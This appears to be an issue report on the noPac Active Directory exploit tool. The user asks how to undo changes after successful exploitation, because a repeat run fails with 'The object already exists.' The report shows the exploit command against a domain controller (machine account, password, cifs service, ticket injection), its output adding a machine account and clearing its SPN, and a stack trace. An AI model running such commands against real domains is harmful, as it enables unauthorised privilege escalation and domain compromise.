reset original state after successful exploitation

[ggg4566]

Can the original state be restored after successful exploitation? An error "The object
already exists." occurs when using it for the second time?

/dc DC.whoamianony.org /mAccount demo12 /mPassword Password123! /service cifs /p
tt
[+] Distinguished Name = CN=demo12,CN=Computers,DC=whoamianony,DC=org
[+] Machine account demo12 added
[+] Machine account demo12 attribute serviceprincipalname cleared
System.DirectoryServices.DirectoryServicesCOMException (0x80071392): The object
already exists.

   at System.DirectoryServices.DirectoryEntry.CommitChanges()
   at noPac.Program.SetMachineAccountAttribute(String container, String distingu
ishedName, String domain, String domainController, String attribute, String mach
ineAccount, String value, Boolean append, Boolean clear, Boolean verbose, Networ
kCredential credential)

Unhandled Exception: System.DirectoryServices.DirectoryServicesCOMException: The
 object already exists.

   at System.DirectoryServices.DirectoryEntry.CommitChanges()
   at noPac.Program.SetMachineAccountAttribute(String container, String distingu
ishedName, String domain, String domainController, String attribute, String mach
ineAccount, String value, Boolean append, Boolean clear, Boolean verbose, Networ
kCredential credential)
   at noPac.Program.Main(String[] args)